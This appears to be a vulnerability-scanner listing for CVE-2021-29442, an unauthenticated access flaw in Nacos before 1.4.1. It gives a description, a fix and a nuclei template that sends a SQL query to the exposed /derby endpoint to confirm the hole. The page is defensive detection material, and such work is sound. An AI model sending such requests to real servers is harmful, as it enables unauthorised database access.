Nacos <1.4.1 - Authentication Bypass

highseverity

7.5CVSS score

64.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.

Fix

Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).

How to confirm it

Send: GET {{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
Positive when: contains in header "application/json" AND matches /"TABLENAME":"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT…/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-29442 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-29442

info:
  name: Nacos <1.4.1 - Authentication Bypass
  author: dwisiswant0
  severity: high
  description: |
    Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
  remediation: |
    Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
    - https://github.com/alibaba/nacos/issues/4463
    - https://github.com/alibaba/nacos/pull/4517
    - https://github.com/advisories/GHSA-36hp-jr8h-556f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-29442
    cwe-id: CWE-306
    epss-score: 0.64205
    epss-percentile: 0.99236
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alibaba
    product: nacos
  tags: cve2021,cve,nacos,auth-bypass,alibaba,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""

      - type: status
        status:
          - 200

References

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